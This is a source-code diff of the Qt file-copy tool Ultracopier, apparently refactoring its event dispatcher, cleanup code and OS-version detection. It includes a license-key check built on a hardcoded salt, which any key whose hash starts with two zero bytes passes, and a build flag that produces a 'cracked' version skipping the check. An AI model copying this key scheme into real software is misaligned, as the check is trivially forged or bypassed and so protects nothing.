+ #ifndef ULTRACOPIER_VERSION_PORTABLE
+ sessionloader=new SessionLoader(&optionDialog);
+ #endif
+ copyEngineList=new CopyEngineManager(&optionDialog);
+ core=new Core(copyEngineList);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ //show the ultracopier information
+ #if defined(Q_OS_WIN32) || defined(Q_OS_MAC)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("Windows version: %1").arg(GetOSDisplayString()));
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("ULTRACOPIER_VERSION: ")+ULTRACOPIER_VERSION);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("Qt version: %1 (%2)").arg(qVersion()).arg(QT_VERSION));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("ULTRACOPIER_PLATFORM_NAME: ")+ULTRACOPIER_PLATFORM_NAME);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("Application path: %1 (%2)").arg(QCoreApplication::applicationFilePath()).arg(QCoreApplication::applicationPid()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,COMPILERINFO);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("Local socket: ")+ExtraSocket::pathSocket(ULTRACOPIER_SOCKETNAME));
+ #ifdef ULTRACOPIER_CGMINER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("With cgminer"));
+ #endif
+ #if defined(ULTRACOPIER_DEBUG) && defined(ULTRACOPIER_PLUGIN_ALL_IN_ONE)
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("Version as all in one"));
+ QObjectList objectList=QPluginLoader::staticInstances();
+ int index=0;
+ while(index<objectList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("static plugin: %1").arg(objectList.at(index)->metaObject()->className()));
+ index++;
+ }
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("Version as all in one, direct"));
+ #endif
+ #endif
+
+ {
+ const QList<QStorageInfo> mountedVolumesList=QStorageInfo::mountedVolumes();
+ int index=0;
+ while(index<mountedVolumesList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("mountSysPoint: %1").arg(mountedVolumesList.at(index).rootPath()));
+ index++;
+ }
+ if(mountedVolumesList.isEmpty())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("mountSysPoint is empty"));
+ }
+
+ //To lunch some initialization after QApplication::exec() to quit eventually
+ lunchInitFunction.setInterval(0);
+ lunchInitFunction.setSingleShot(true);
+ connect(&lunchInitFunction,&QTimer::timeout,this,&EventDispatcher::initFunction,Qt::QueuedConnection);
+ lunchInitFunction.start();
+ if(OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("Last_version_used"))!=QVariant(QStringLiteral("na")) && OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("Last_version_used"))!=QVariant(ULTRACOPIER_VERSION))
+ {
+ //then ultracopier have been updated
+ }
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("Last_version_used"),QVariant(ULTRACOPIER_VERSION));
+ int a=OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("ActionOnManualOpen")).toInt();
+ if(a<0 || a>2)
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("ActionOnManualOpen"),QVariant(1));
+ a=OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("GroupWindowWhen")).toInt();
+ if(a<0 || a>5)
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("GroupWindowWhen"),QVariant(0));
+
+ #ifdef ULTRACOPIER_VERSION_ULTIMATE
+ #ifdef ULTRACOPIER_ILLEGAL
+ static bool crackedVersion=true;
+ #else
+ static bool crackedVersion=false;
+ #endif
+ if(!crackedVersion)
+ {
+ while(1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("ultimate key"));
+ QString key=OptionEngine::optionEngine->getOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("key")).toString();
+ if(!key.isEmpty())
+ {
+ QCryptographicHash hash(QCryptographicHash::Sha224);
+ hash.addData(QStringLiteral("U2NgvbKVrVwlaXnx").toUtf8());
+ hash.addData(key.toUtf8());
+ const QByteArray &result=hash.result();
+ if(!result.isEmpty() && result.at(0)==0x00 && result.at(1)==0x00)
+ break;
+ }
+ key=QInputDialog::getText(NULL,tr("Key"),tr("Give the key of this software, more information on <a href=\"http://ultracopier.first-world.info/\">ultracopier.first-world.info</a>"));
+ if(key.isEmpty())
+ {
+ QCoreApplication::quit();
+ stopIt=true;
+ return;
+ }
+ {
+ QCryptographicHash hash(QCryptographicHash::Sha224);
+ hash.addData(QStringLiteral("U2NgvbKVrVwlaXnx").toUtf8());
+ hash.addData(key.toUtf8());
+ const QByteArray &result=hash.result();
+ if(!result.isEmpty() && result.at(0)==0x00 && result.at(1)==0x00)
+ {
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("Ultracopier"),QStringLiteral("key"),key);
+ break;
+ }
+ }
+ }
+ }
+ #endif
+
+ connect(&cliParser, &CliParser::newTransferList,core, &Core::newTransferList);
}
/// \brief Destroy the ultracopier event dispatcher
EventDispatcher::~EventDispatcher()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(core!=NULL)
- delete core;
- if(copyEngineList!=NULL)
- delete copyEngineList;
- if(sessionloader!=NULL)
- delete sessionloader;
- if(backgroundIcon!=NULL)
- delete backgroundIcon;
- delete copyServer;
+ if(core!=NULL)
+ {
+ delete core;
+ core=NULL;
+ }
+ if(copyEngineList!=NULL)
+ {
+ delete copyEngineList;
+ copyEngineList=NULL;
+ }
+ #ifndef ULTRACOPIER_VERSION_PORTABLE
+ if(sessionloader!=NULL)
+ {
+ delete sessionloader;
+ sessionloader=NULL;
+ }
+ #endif
+ if(backgroundIcon!=NULL)
+ {
+ delete backgroundIcon;
+ backgroundIcon=NULL;
+ }
+ if(copyServer!=NULL)
+ {
+ delete copyServer;
+ copyServer=NULL;
+ }
}
/// \brief return if need be close
bool EventDispatcher::shouldBeClosed()
{
- return stopIt;
+ return stopIt;
}
/// \brief Quit ultracopier
void EventDispatcher::quit()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Will quit ultracopier");
- //disconnect(QCoreApplication::instance(),SIGNAL(aboutToQuit()),this,SLOT(quit()));
- QCoreApplication::exit();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Will quit ultracopier"));
+ //disconnect(QCoreApplication::instance(),SIGNAL(aboutToQuit()),this,SLOT(quit()));
+ QCoreApplication::exit();
}
/// \brief Called when event loop is setup
void EventDispatcher::initFunction()
{
- if(core==NULL || copyEngineList==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Unable to initialize correctly the software");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Initialize the variable of event loop");
- connect(copyServer, SIGNAL(newCopy(quint32,QStringList,QStringList)), core, SLOT(newCopy(quint32,QStringList,QStringList)));
- connect(copyServer, SIGNAL(newCopy(quint32,QStringList,QStringList,QString,QString)), core, SLOT(newCopy(quint32,QStringList,QStringList,QString,QString)));
- connect(copyServer, SIGNAL(newMove(quint32,QStringList,QStringList)), core, SLOT(newMove(quint32,QStringList,QStringList)));
- connect(copyServer, SIGNAL(newMove(quint32,QStringList,QStringList,QString,QString)), core, SLOT(newMove(quint32,QStringList,QStringList,QString,QString)));
- connect(core, SIGNAL(copyFinished(quint32,bool)), copyServer, SLOT(copyFinished(quint32,bool)));
- connect(core, SIGNAL(copyCanceled(quint32)), copyServer, SLOT(copyCanceled(quint32)));
- if(localListener.tryConnect())
- {
- stopIt=true;
- //why before removed???
- QCoreApplication::quit();
- return;
- }
- localListener.listenServer();
- //load the systray icon
- if(backgroundIcon==NULL)
- {
- backgroundIcon=new SystrayIcon();
- //connect the slot
- //quit is for this object
-// connect(core, SIGNAL(newCanDoOnlyCopy(bool)), backgroundIcon, SLOT(newCanDoOnlyCopy(bool)));
- connect(backgroundIcon, SIGNAL(quit()),this,SLOT(quit()));
- //show option is for OptionEngine object
- connect(backgroundIcon, SIGNAL(showOptions()), &optionDialog, SLOT(show()));
- connect(copyServer, SIGNAL(listenerReady(ListeningState,bool,bool)), backgroundIcon, SLOT(listenerReady(ListeningState,bool,bool)));
- connect(copyServer, SIGNAL(pluginLoaderReady(CatchState,bool,bool)), backgroundIcon, SLOT(pluginLoaderReady(CatchState,bool,bool)));
- connect(backgroundIcon, SIGNAL(tryCatchCopy()), copyServer, SLOT(listen()));
- connect(backgroundIcon, SIGNAL(tryUncatchCopy()), copyServer, SLOT(close()));
- if(options->getOptionValue("CopyListener","CatchCopyAsDefault").toBool())
- copyServer->listen();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"copyServer.oneListenerIsLoaded(): "+QString::number(copyServer->oneListenerIsLoaded()));
- //backgroundIcon->readyToListen(copyServer.oneListenerIsLoaded());
-
- connect(backgroundIcon, SIGNAL(addWindowCopyMove(CopyMode,QString)), core, SLOT(addWindowCopyMove(CopyMode,QString)));
- connect(backgroundIcon, SIGNAL(addWindowTransfer(QString)), core, SLOT(addWindowTransfer(QString)));
- connect(copyEngineList, SIGNAL(addCopyEngine(QString,bool)), backgroundIcon, SLOT(addCopyEngine(QString,bool)));
- connect(copyEngineList, SIGNAL(removeCopyEngine(QString)), backgroundIcon, SLOT(removeCopyEngine(QString)));
- copyEngineList->setIsConnected();
- copyServer->resendState();
- }
- //conntect the last chance signal before quit
- connect(QCoreApplication::instance(),SIGNAL(aboutToQuit()),this,SLOT(quit()));
- //connect the slot for the help dialog
- connect(backgroundIcon,SIGNAL(showHelp()),&theHelp,SLOT(show()));
+ if(core==NULL || copyEngineList==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Unable to initialize correctly the software");
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Initialize the variable of event loop");
+ connect(copyServer, &CopyListener::newCopyWithoutDestination, core, &Core::newCopyWithoutDestination,Qt::DirectConnection);
+ connect(copyServer, &CopyListener::newCopy, core, &Core::newCopy,Qt::DirectConnection);
+ connect(copyServer, &CopyListener::newMoveWithoutDestination, core, &Core::newMoveWithoutDestination,Qt::DirectConnection);
+ connect(copyServer, &CopyListener::newMove, core, &Core::newMove,Qt::DirectConnection);
+ connect(core, &Core::copyFinished, copyServer, &CopyListener::copyFinished,Qt::DirectConnection);
+ connect(core, &Core::copyCanceled, copyServer, &CopyListener::copyCanceled,Qt::DirectConnection);
+ if(localListener.tryConnect())
+ {
+ stopIt=true;
+ QCoreApplication::exit(1);//by 1, return process is in progress
+ return;
+ }
+ localListener.listenServer();
+ //load the systray icon
+ if(backgroundIcon==NULL)
+ {
+ backgroundIcon=new SystrayIcon();
+ //connect the slot
+ //quit is for this object
+// connect(core, &Core::newCanDoOnlyCopy, backgroundIcon, &SystrayIcon::newCanDoOnlyCopy,Qt::DirectConnection);
+ connect(backgroundIcon, &SystrayIcon::quit,this,&EventDispatcher::quit);
+ //show option is for OptionEngine object
+ connect(backgroundIcon, &SystrayIcon::showOptions, &optionDialog, &OptionDialog::show,Qt::DirectConnection);
+ connect(&cliParser, &CliParser::showOptions, &optionDialog, &OptionDialog::show,Qt::DirectConnection);
+ connect(copyServer, &CopyListener::listenerReady, backgroundIcon, &SystrayIcon::listenerReady,Qt::DirectConnection);
+ connect(copyServer, &CopyListener::pluginLoaderReady, backgroundIcon, &SystrayIcon::pluginLoaderReady,Qt::DirectConnection);
+ connect(backgroundIcon, &SystrayIcon::tryCatchCopy, copyServer, &CopyListener::listen,Qt::DirectConnection);
+ connect(backgroundIcon, &SystrayIcon::tryUncatchCopy, copyServer, &CopyListener::close,Qt::DirectConnection);
+ if(OptionEngine::optionEngine->getOptionValue("CopyListener","CatchCopyAsDefault").toBool())
+ copyServer->listen();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"copyServer.oneListenerIsLoaded(): "+QString::number(copyServer->oneListenerIsLoaded()));
+ //backgroundIcon->readyToListen(copyServer.oneListenerIsLoaded());
+
+ #ifdef ULTRACOPIER_DEBUG
+ connect(backgroundIcon, &SystrayIcon::saveBugReport, DebugEngine::debugEngine, &DebugEngine::saveBugReport,Qt::QueuedConnection);
+ #endif
+ connect(backgroundIcon, &SystrayIcon::addWindowCopyMove, core, &Core::addWindowCopyMove,Qt::DirectConnection);
+ connect(backgroundIcon, &SystrayIcon::addWindowTransfer, core, &Core::addWindowTransfer,Qt::DirectConnection);
+ connect(copyEngineList, &CopyEngineManager::addCopyEngine, backgroundIcon, &SystrayIcon::addCopyEngine,Qt::DirectConnection);
+ connect(copyEngineList, &CopyEngineManager::removeCopyEngine, backgroundIcon, &SystrayIcon::removeCopyEngine,Qt::DirectConnection);
+ #ifdef ULTRACOPIER_INTERNET_SUPPORT
+ connect(&internetUpdater,&InternetUpdater::newUpdate, backgroundIcon, &SystrayIcon::newUpdate);
+ #endif
+ copyEngineList->setIsConnected();
+ copyServer->resendState();
+ }
+ //conntect the last chance signal before quit
+ connect(QCoreApplication::instance(),&QCoreApplication::aboutToQuit,this,&EventDispatcher::quit,Qt::DirectConnection);
+ //connect the slot for the help dialog
+ connect(backgroundIcon,&SystrayIcon::showHelp,&theHelp,&HelpDialog::show);
+ #ifdef ULTRACOPIER_DEBUG
+ DebugModel::debugModel->setupTheTimer();
+ #endif
}
+#ifdef Q_OS_WIN32
+QString EventDispatcher::GetOSDisplayString()
+{
+ QString Os;
+ OSVERSIONINFOEX osvi;
+ SYSTEM_INFO si;
+ PGNSI pGNSI;
+ PGPI pGPI;
+ BOOL bOsVersionInfoEx;
+ DWORD dwType;
+
+ ZeroMemory(&si, sizeof(SYSTEM_INFO));
+ ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
+
+ osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
+ bOsVersionInfoEx = GetVersionEx((OSVERSIONINFO*) &osvi);
+
+ if(bOsVersionInfoEx == NULL)
+ return QStringLiteral("Os detection blocked");
+
+ // Call GetNativeSystemInfo if supported or GetSystemInfo otherwise.
+
+ pGNSI = (PGNSI) GetProcAddress(
+ GetModuleHandle(TEXT("kernel32.dll")),
+ "GetNativeSystemInfo");
+ if(NULL != pGNSI)
+ pGNSI(&si);
+ else GetSystemInfo(&si);
+
+ if(VER_PLATFORM_WIN32_NT==osvi.dwPlatformId && osvi.dwMajorVersion>4)
+ {
+ if(osvi.dwMajorVersion==6)
+ {
+ switch(osvi.dwMinorVersion)
+ {
+ case 0:
+ if(osvi.wProductType==VER_NT_WORKSTATION)
+ Os+=QStringLiteral("Windows Vista ");
+ else Os+=QStringLiteral("Windows Server 2008 ");
+ break;
+ case 1:
+ if(osvi.wProductType==VER_NT_WORKSTATION)
+ Os+=QStringLiteral("Windows 7 ");
+ else Os+=QStringLiteral("Windows Server 2008 R2 ");
+ break;
+ case 2:
+ if(osvi.wProductType==VER_NT_WORKSTATION)
+ Os+=QStringLiteral("Windows 8 ");
+ else Os+=QStringLiteral("Windows Server 2012 ");
+ break;
+ default:
+ if(osvi.wProductType==VER_NT_WORKSTATION)
+ Os+=QStringLiteral("Windows (dwMajorVersion: %1, dwMinorVersion: %2)").arg(osvi.dwMinorVersion).arg(osvi.dwMinorVersion);
+ else Os+=QStringLiteral("Windows Server (dwMajorVersion: %1, dwMinorVersion: %2)").arg(osvi.dwMinorVersion).arg(osvi.dwMinorVersion);
+ break;
+ }
+
+ pGPI = (PGPI) GetProcAddress(
+ GetModuleHandle(TEXT("kernel32.dll")),
+ "GetProductInfo");
+
+ pGPI(osvi.dwMajorVersion, osvi.dwMinorVersion, 0, 0, &dwType);
+
+ switch(dwType)
+ {
+ case PRODUCT_ULTIMATE:
+ Os+=QStringLiteral("Ultimate Edition");
+ break;
+ case PRODUCT_PROFESSIONAL:
+ Os+=QStringLiteral("Professional");
+ break;
+ case PRODUCT_HOME_PREMIUM:
+ Os+=QStringLiteral("Home Premium Edition");
+ break;
+ case PRODUCT_HOME_BASIC:
+ Os+=QStringLiteral("Home Basic Edition");
+ break;
+ case PRODUCT_ENTERPRISE:
+ Os+=QStringLiteral("Enterprise Edition");
+ break;
+ case PRODUCT_BUSINESS:
+ Os+=QStringLiteral("Business Edition");
+ break;
+ case PRODUCT_STARTER:
+ Os+=QStringLiteral("Starter Edition");
+ break;
+ case PRODUCT_CLUSTER_SERVER:
+ Os+=QStringLiteral("Cluster Server Edition");
+ break;
+ case PRODUCT_DATACENTER_SERVER:
+ Os+=QStringLiteral("Datacenter Edition");
+ break;
+ case PRODUCT_DATACENTER_SERVER_CORE:
+ Os+=QStringLiteral("Datacenter Edition (core installation)");
+ break;
+ case PRODUCT_ENTERPRISE_SERVER:
+ Os+=QStringLiteral("Enterprise Edition");
+ break;
+ case PRODUCT_ENTERPRISE_SERVER_CORE:
+ Os+=QStringLiteral("Enterprise Edition (core installation)");
+ break;
+ case PRODUCT_ENTERPRISE_SERVER_IA64:
+ Os+=QStringLiteral("Enterprise Edition for Itanium-based Systems");
+ break;
+ case PRODUCT_SMALLBUSINESS_SERVER:
+ Os+=QStringLiteral("Small Business Server");
+ break;
+ case PRODUCT_SMALLBUSINESS_SERVER_PREMIUM:
+ Os+=QStringLiteral("Small Business Server Premium Edition");
+ break;
+ case PRODUCT_STANDARD_SERVER:
+ Os+=QStringLiteral("Standard Edition");
+ break;
+ case PRODUCT_STANDARD_SERVER_CORE:
+ Os+=QStringLiteral("Standard Edition (core installation)");
+ break;
+ case PRODUCT_WEB_SERVER:
+ Os+=QStringLiteral("Web Server Edition");
+ break;
+ }
+ }
+ else if(osvi.dwMajorVersion==5)
+ {
+ switch(osvi.dwMinorVersion)
+ {
+ case 0:
+ Os+=QStringLiteral("Windows 2000 ");
+ if(osvi.wProductType==VER_NT_WORKSTATION)
+ Os+=QStringLiteral("Professional");
+ else
+ {
+ if(osvi.wSuiteMask & VER_SUITE_DATACENTER)
+ Os+=QStringLiteral("Datacenter Server");
+ else if(osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
+ Os+=QStringLiteral("Advanced Server");
+ else Os+=QStringLiteral("Server");
+ }
+ break;
+ case 1:
+ Os+=QStringLiteral("Windows XP ");
+ if(osvi.wSuiteMask & VER_SUITE_PERSONAL)
+ Os+=QStringLiteral("Home Edition");
+ else Os+=QStringLiteral("Professional");
+ break;
+ case 2:
+ if(GetSystemMetrics(SM_SERVERR2))
+ Os+=QStringLiteral("Windows Server 2003 R2, ");
+ else if(osvi.wSuiteMask & VER_SUITE_STORAGE_SERVER )
+ Os+=QStringLiteral("Windows Storage Server 2003");
+ else if(osvi.wSuiteMask & VER_SUITE_WH_SERVER )
+ Os+=QStringLiteral("Windows Home Server");
+ else if(osvi.wProductType==VER_NT_WORKSTATION && si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64)
+ Os+=QStringLiteral("Windows XP Professional x64 Edition");
+ else Os+=QStringLiteral("Windows Server 2003, ");
+ // Test for the server type.
+ if(osvi.wProductType!=VER_NT_WORKSTATION )
+ {
+ if(si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_IA64)
+ {
+ if( osvi.wSuiteMask & VER_SUITE_DATACENTER )
+ Os+=QStringLiteral("Datacenter Edition for Itanium-based Systems");
+ else if( osvi.wSuiteMask & VER_SUITE_ENTERPRISE )
+ Os+=QStringLiteral("Enterprise Edition for Itanium-based Systems");
+ }
+ else if(si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64)
+ {
+ if(osvi.wSuiteMask & VER_SUITE_DATACENTER)
+ Os+=QStringLiteral("Datacenter x64 Edition");
+ else if(osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
+ Os+=QStringLiteral("Enterprise x64 Edition");
+ else Os+=QStringLiteral("Standard x64 Edition");
+ }
+ else
+ {
+ if(osvi.wSuiteMask & VER_SUITE_COMPUTE_SERVER)
+ Os+=QStringLiteral("Compute Cluster Edition");
+ else if( osvi.wSuiteMask & VER_SUITE_DATACENTER)
+ Os+=QStringLiteral("Datacenter Edition");
+ else if(osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
+ Os+=QStringLiteral("Enterprise Edition");
+ else if(osvi.wSuiteMask & VER_SUITE_BLADE)
+ Os+=QStringLiteral("Web Edition");
+ else Os+=QStringLiteral("Standard Edition");
+ }
+ }
+ break;
+ }
+ }
+ else
+ {
+ if(osvi.wProductType==VER_NT_WORKSTATION)
+ Os+=QStringLiteral("Windows (dwMajorVersion: %1, dwMinorVersion: %2)").arg(osvi.dwMinorVersion).arg(osvi.dwMinorVersion);
+ else Os+=QStringLiteral("Windows Server (dwMajorVersion: %1, dwMinorVersion: %2)").arg(osvi.dwMinorVersion).arg(osvi.dwMinorVersion);
+ }
+
+ // Include service pack (if any) and build number.
+ QString QszCSDVersion=QString::fromUtf16((ushort*)osvi.szCSDVersion);
+ if(!QszCSDVersion.isEmpty())
+ Os+=QStringLiteral(" %1").arg(QszCSDVersion);
+ Os+=QStringLiteral(" (build %1)").arg(osvi.dwBuildNumber);
+ if(osvi.dwMajorVersion >= 6)
+ {
+ if(si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64)
+ Os+=QStringLiteral(", 64-bit");
+ else if(si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_INTEL)
+ Os+=QStringLiteral(", 32-bit");
+ }
+ }
+ else
+ {
+ if(osvi.wProductType==VER_NT_WORKSTATION)
+ Os+=QStringLiteral("Windows (dwMajorVersion: %1, dwMinorVersion: %2)").arg(osvi.dwMinorVersion).arg(osvi.dwMinorVersion);
+ else Os+=QStringLiteral("Windows Server (dwMajorVersion: %1, dwMinorVersion: %2)").arg(osvi.dwMinorVersion).arg(osvi.dwMinorVersion);
+ }
+ return Os;
+}
+#endif
+
+#ifdef Q_OS_MAC
+QString EventDispatcher::GetOSDisplayString()
+{
+ QStringList key;
+ QStringList string;
+ QFile xmlFile(QStringLiteral("/System/Library/CoreServices/SystemVersion.plist"));
+ if(xmlFile.open(QIODevice::ReadOnly))
+ {
+ QString content=xmlFile.readAll();
+ xmlFile.close();
+ QString errorStr;
+ int errorLine;
+ int errorColumn;
+ QDomDocument domDocument;
+ if (!domDocument.setContent(content, false, &errorStr,&errorLine,&errorColumn))
+ return QStringLiteral("Mac OS X");
+ else
+ {
+ QDomElement root = domDocument.documentElement();
+ if(root.tagName()!=QStringLiteral("plist"))
+ return QStringLiteral("Mac OS X");
+ else
+ {
+ if(root.isElement())
+ {
+ QDomElement SubChild=root.firstChildElement(QStringLiteral("dict"));
+ while(!SubChild.isNull())
+ {
+ if(SubChild.isElement())
+ {
+ QDomElement SubChild2=SubChild.firstChildElement(QStringLiteral("key"));
+ while(!SubChild2.isNull())
+ {
+ if(SubChild2.isElement())
+ key << SubChild2.text();
+ else
+ return QStringLiteral("Mac OS X");
+ SubChild2 = SubChild2.nextSiblingElement(QStringLiteral("key"));
+ }
+ SubChild2=SubChild.firstChildElement(QStringLiteral("string"));
+ while(!SubChild2.isNull())
+ {
+ if(SubChild2.isElement())
+ string << SubChild2.text();
+ else
+ return QStringLiteral("Mac OS X");
+ SubChild2 = SubChild2.nextSiblingElement(QStringLiteral("string"));
+ }
+ }
+ else
+ return QStringLiteral("Mac OS X");
+ SubChild = SubChild.nextSiblingElement(QStringLiteral("property"));
+ }
+ }
+ else
+ return QStringLiteral("Mac OS X");
+ }
+ }
+ }
+ if(key.size()!=string.size())
+ return QStringLiteral("Mac OS X");
+ int index=0;
+ while(index<key.size())
+ {
+ if(key.at(index)==QStringLiteral("ProductVersion"))
+ return QStringLiteral("Mac OS X ")+string.at(index);
+ index++;
+ }
+ return QStringLiteral("Mac OS X");
+}
+#endif
diff --git a/EventDispatcher.h b/EventDispatcher.h
index 35a5d07..b597c90 100644
--- a/EventDispatcher.h
+++ b/EventDispatcher.h
@@ -1,8 +1,6 @@
/** \file EventDispatcher.h
\brief Define the class of the event dispatcher
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef EVENT_DISPATCHER_H
@@ -17,11 +15,15 @@
#include "Environment.h"
#include "Core.h"
-#include "GlobalClass.h"
#include "SystrayIcon.h"
#include "OptionEngine.h"
#include "HelpDialog.h"
+#ifndef ULTRACOPIER_VERSION_PORTABLE
#include "SessionLoader.h"
+#endif
+#ifdef ULTRACOPIER_INTERNET_SUPPORT
+#include "InternetUpdater.h"
+#endif
#include "CopyListener.h"
#include "OptionDialog.h"
#include "CopyEngineManager.h"
@@ -31,57 +33,65 @@
/** \brief Define the class of the event dispatcher
This class provide a core for dispatch the event of signal/slot, it checks too if not other instance is running */
-class EventDispatcher : public QObject, public GlobalClass
+class EventDispatcher : public QObject
{
- Q_OBJECT
- public:
- /// \brief Initiate the ultracopier event dispatcher and check if no other session is running
- EventDispatcher();
- /// \brief Destroy the ultracopier event dispatcher
- ~EventDispatcher();
- /// \brief return if need be close
- bool shouldBeClosed();
- public slots:
- /// \brief Quit ultracopier
- void quit();
- signals:
- /** \brief Send that's caught state have changed for CatchedState::Uncatched or CatchedState::Semicatched or CatchedState::Catched
- \see CatchState
- \see tryCatchCopy()
- \see tryUncatchCopy()
- \param State is the new state */
- void catchCopyStateChanged(CatchState state);
- /** \brief Send that's copy/move task is finished in returning the copyMoveEventId
- \see routeCopyMoveEvent()
- \param copyMoveEventId The task id generated by routeCopyMoveEvent() */
- void copyMoveEventIsFinish(int copyMoveEventId);
- private:
- /// \brief To have counter for increment the copyMoveEventId at each request
- int copyMoveEventIdIndex;
- /// \brief To store windows windows session
- struct CoreSession
- {
- Core * CoreWindow;
- QList<int> copyMoveEventIdManaged;
- };
- /// \brief the systray icon
- SystrayIcon *backgroundIcon;
- /// \brief To lunch event only when the event loop is setup
- QTimer lunchInitFunction;
- /// \brief the help dialog
- HelpDialog theHelp;
- /// \brief the session loader
- SessionLoader *sessionloader;
- bool stopIt;
- CopyListener *copyServer;
- Core *core;
- OptionDialog optionDialog;
- CopyEngineManager *copyEngineList;
- LocalListener localListener;
- CliParser cliParser;
- private slots:
- /// \brief Called when event loop is setup
- void initFunction();
+ Q_OBJECT
+ public:
+ /// \brief Initiate the ultracopier event dispatcher and check if no other session is running
+ EventDispatcher();
+ /// \brief Destroy the ultracopier event dispatcher
+ ~EventDispatcher();
+ /// \brief return if need be close
+ bool shouldBeClosed();
+ #if defined(Q_OS_WIN32) || defined(Q_OS_MAC)
+ static QString GetOSDisplayString();
+ #endif
+ public slots:
+ /// \brief Quit ultracopier
+ void quit();
+ signals:
+ /** \brief Send that's caught state have changed for CatchedState::Uncatched or CatchedState::Semicatched or CatchedState::Catched
+ \see CatchState
+ \see tryCatchCopy()
+ \see tryUncatchCopy()
+ \param State is the new state */
+ void catchCopyStateChanged(Ultracopier::CatchState state) const;
+ /** \brief Send that's copy/move task is finished in returning the copyMoveEventId
+ \see routeCopyMoveEvent()
+ \param copyMoveEventId The task id generated by routeCopyMoveEvent() */
+ void copyMoveEventIsFinish(int copyMoveEventId) const;
+ private:
+ /// \brief To have counter for increment the copyMoveEventId at each request
+ int copyMoveEventIdIndex;
+ /// \brief To store windows windows session
+ struct CoreSession
+ {
+ Core * CoreWindow;
+ QList<int> copyMoveEventIdManaged;
+ };
+ /// \brief the systray icon
+ SystrayIcon *backgroundIcon;
+ /// \brief To lunch event only when the event loop is setup
+ QTimer lunchInitFunction;
+ /// \brief the help dialog
+ HelpDialog theHelp;
+ #ifndef ULTRACOPIER_VERSION_PORTABLE
+ /// \brief the session loader
+ SessionLoader *sessionloader;
+ #endif
+ bool stopIt;
+ CopyListener *copyServer;
+ Core *core;
+ OptionDialog optionDialog;
+ #ifdef ULTRACOPIER_INTERNET_SUPPORT
+ InternetUpdater internetUpdater;
+ #endif
+ CopyEngineManager *copyEngineList;
+ LocalListener localListener;
+ CliParser cliParser;
+ private slots:
+ /// \brief Called when event loop is setup
+ void initFunction();
};
#endif // EVENT_DISPATCHER_H
diff --git a/ExtraSocket.cpp b/ExtraSocket.cpp
index 08b0979..8175c5f 100644
--- a/ExtraSocket.cpp
+++ b/ExtraSocket.cpp
@@ -1,32 +1,60 @@
/** \file ExtraSocket.h
\brief Define the socket of ultracopier
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "ExtraSocket.h"
+#include <QByteArray>
+#include <stdio.h>
QString ExtraSocket::pathSocket(const QString &name)
{
#ifdef Q_OS_UNIX
- return name+"-"+QString::number(getuid());
+ return name+QStringLiteral("-")+QString::number(getuid());
#else
- QString userName;
- DWORD size=0;
- if(GetUserNameW(NULL,&size) || (GetLastError()!=ERROR_INSUFFICIENT_BUFFER))
- {
- }
- else
- {
- WCHAR * userNameW=new WCHAR[size];
